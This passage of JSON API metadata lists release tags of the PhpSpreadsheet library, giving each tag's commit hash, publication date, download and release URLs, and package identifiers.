.10.3","sha":"ceba166a6c21830922e145c59999adc855412fe6","kind":"tag","published_at":"2026-01-11T06:27:16.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.3","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.3/manifests"},{"name":"2.4.3","sha":"3b204d00c19f9d809f8d2374f408b197f37ad0bd","kind":"tag","published_at":"2026-01-11T06:25:02.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.3","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.3/manifests"},{"name":"2.1.14","sha":"202278b0d5f1deb29bfdb12ba727d1240e8ac118","kind":"tag","published_at":"2026-01-11T06:22:03.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.14","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.14/manifests"},{"name":"1.30.2","sha":"09cdde5e2f078b9a3358dd217e2c8cb4dac84be2","kind":"tag","published_at":"2026-01-11T06:18:25.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.30.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.2/manifests"},{"name":"5.3.0","sha":"4d597c1aacdde1805a33c525b9758113ea0d90df","kind":"tag","published_at":"2025-11-24T16:21:23.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.3.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.3.0/manifests"},{"name":"3.10.2","sha":"cd1dd91d6ef2afc0629982e0ea5911b3746fe51e","kind":"tag","published_at":"2025-11-24T16:16:07.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.2/manifests"},{"name":"2.4.2","sha":"931ad61fb2c229063fc4e7e665fb52b87249cc56","kind":"tag","published_at":"2025-11-24T16:05:05.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.2/manifests"},{"name":"5.2.0","sha":"3b8994b3aac4b61018bc04fc8c441f4fd68c18eb","kind":"tag","published_at":"2025-10-26T16:24:54.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.2.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.2.0/manifests"},{"name":"2.1.13","sha":"0949bee8b9c3e8924852cc56c18d2070b7a443d0","kind":"tag","published_at":"2025-10-26T16:19:16.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.13","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.13/manifests"},{"name":"1.30.1","sha":"fa8257a579ec623473eabfe49731de5967306c4c","kind":"tag","published_at":"2025-10-26T16:14:19.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.30.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.1/manifests"},{"name":"5.1.0","sha":"fd26e45a814e94ae2aad0df757d9d1739c4bf2e0","kind":"tag","published_at":"2025-09-04T05:48:41.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.1.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.1.0/manifests"},{"name":"3.10.1","sha":"e013633c2907d13a6906d9e95dca09748eb1523c","kind":"tag","published_at":"2025-09-04T05:46:25.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.1/manifests"},{"name":"2.4.1","sha":"096ae6faf94b49b2cf53e92a0073133c941e1f57","kind":"tag","published_at":"2025-09-04T05:43:24.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.1/manifests"},{"name":"5.0.0","sha":"d88efcac2444cde18e17684178de02b25dff2050","kind":"tag","published_at":"2025-08-10T07:00:27.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.0.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.0.0/manifests"},{"name":"3.10.0","sha":"38559935cb76df0fad71d1e3df1a4e7da6e51cf0","kind":"tag","published_at":"2025-08-10T06:56:40.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.0/manifests"},{"name":"2.4.0","sha":"3a3cad86101a77019eb2fc693aab1a8c11b18b94","kind":"tag","published_at":"2025-08-10T06:48:56.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.0/manifests"},{"name":"2.1.12","sha":"f539d52501fe4e882f5927678f1b1df08783fa28","kind":"tag","published_at":"2025-08-10T06:41:10.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.12","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.12/manifests"},{"name":"1.30.0","sha":"2f39286e0136673778b7a142b3f0d141e43d1714","kind":"tag","published_at":"2025-08-10T06:32:45.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.30.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.0/manifests"},{"name":"4.5.0","sha":"2ea9786632e6fac1aee601b6e426bcc723d8ce13","kind":"tag","published_at":"2025-07-24T05:43:49.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/4.5.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.5.0/manifests"},{"name":"3.9.3","sha":"668d3b5fdebf7f74627620d6648f77662f74b015","kind":"tag","published_at":"2025-07-24T05:39:09.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.9.3","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.9.3/manifests"},{"name":"2.3.10","sha":"22058ce75b774bf40ceefcadd090a424d558f1ca","kind":"tag","published_at":"2025-07-24T05:36:15.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.10","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.10/manifests"},{"name":"2.1.11","sha":"cfcbeaf4e4096604f0ac3edbc900623d8395a896","kind":"tag","published_at":"2025-07-24T05:29:19.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.11","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.11/manifests"},{"name":"1.29.12","sha":"7c06eed662cce7ecab88f6f9f7626b443f5285df","kind":"tag","published_at":"2025-07-24T05:24:26.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.12","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.12/manifests"},{"name":"4.4.0","sha":"747ccd1b443e85e0cfc0d52acf50e4d15ef959eb","kind":"tag","published_at":"2025-06-23T02:04:26.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/4.4.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.4.0/manifests"},{"name":"3.9.2","sha":"3b07468e1fcc2501d85e60501977f8f7f53cfb4a","kind":"tag","published_at":"2025-06-23T01:56:26.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.9.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.9.2/manifests"},{"name":"2.3.9","sha":"12e0d9f5ef459bf4d3427ef1bbe256b0d85f1e3a","kind":"tag","published_at":"2025-06-23T01:44:53.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.9","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.9/manifests"},{"name":"2.1.10","sha":"b21176284db3da8786a0d2348b793673c3b45aef","kind":"tag","published_at":"2025-06-23T01:41:06.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.10","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.10/manifests"},{"name":"1.29.11","sha":"05b6c4378ddf3e81b460ea645c42b46432c0db25","kind":"tag","published_at":"2025-06-23T01:35:02.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.11","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.11/manifests"},{"name":"4.3.1","sha":"d0ac70d610fb62ccad38c2696569ae1ad42acc70","kind":"tag","published_at":"2025-05-26T19:03:04.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/4.3.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.3.1/manifests"},{"name":"4.3.0","sha":"13537148b14f6606f380a2b220b00fcd8b16887f","kind":"tag","published_at":"2025-05-26T03:57:05.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/4.3.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.3.0/manifests"},{"name":"4.2.0","sha":"5f6d7410e5fd72cac1aa67d4f05f4fe664d01ba6","kind":"tag","published_at":"2025-04-17T02:55:01.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/4.2.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.2.0/manifests"},{"name":"4.1.0","sha":"6ff18c3a8df3a945492f75ce455d77f7ad55dd5c","kind":"tag","published_at":"2025-03-02T06:59:56.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/4.1.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.1.0/manifests"},{"name":"4.0.0","sha":"2d4b9f3582102aafb6b1378fff8a20eeeacfb31c","kind":"tag","published_at":"2025-02-08T03:25:39.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/4.0.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/4.0.0/manifests"},{"name":"3.9.1","sha":"56f334ace62fc8301c98d425272cbf0a00eb848d","kind":"tag","published_at":"2025-02-08T03:23:21.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.9.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.9.1/manifests"},{"name":"2.3.8","sha":"7a700683743bf1c4a21837c84b266916f1aa7d25","kind":"tag","published_at":"2025-02-08T03:20:46.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.8","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.8/manifests"},{"name":"2.1.9","sha":"f705c56e3947665389b616d21b66e59af8ebda9d","kind":"tag","published_at":"2025-02-08T03:18:08.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.9","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.9/manifests"},{"name":"1.29.10","sha":"c80041b1628c4f18030407134fe88303661d4e4e","kind":"tag","published_at":"2025-02-08T03:14:18.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.10","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.10/manifests"},{"name":"3.9.0","sha":"414f8a2aa1d8b974b39f577c0677d5ebc96fab36","kind":"tag","published_at":"2025-01-26T05:33:10.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.9.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.9.0/manifests"},{"name":"2.3.7","sha":"cf357183b1d17a3862e8e4b9b056a556654dcae6","kind":"tag","published_at":"2025-01-26T05:29:39.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.7","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.7/manifests"},{"name":"2.1.8","sha":"8be52afdacac097057f8e165b1427cb8789dde92","kind":"tag","published_at":"2025-01-26T05:25:14.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.8","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.8/manifests"},{"name":"1.29.9","sha":"ffb47b639649fc9c8a6fa67977a27b756592ed85","kind":"tag","published_at":"2025-01-26T05:19:13.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.9","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.9/manifests"},{"name":"3.8.0","sha":"949c799c3538f3158bcf6c5f4d8a403027be0fbd","kind":"tag","published_at":"2025-01-12T03:53:48.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.8.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.8.0/manifests"},{"name":"2.3.6","sha":"098b848ee6688cb9a252d9ce97889defc517ee88","kind":"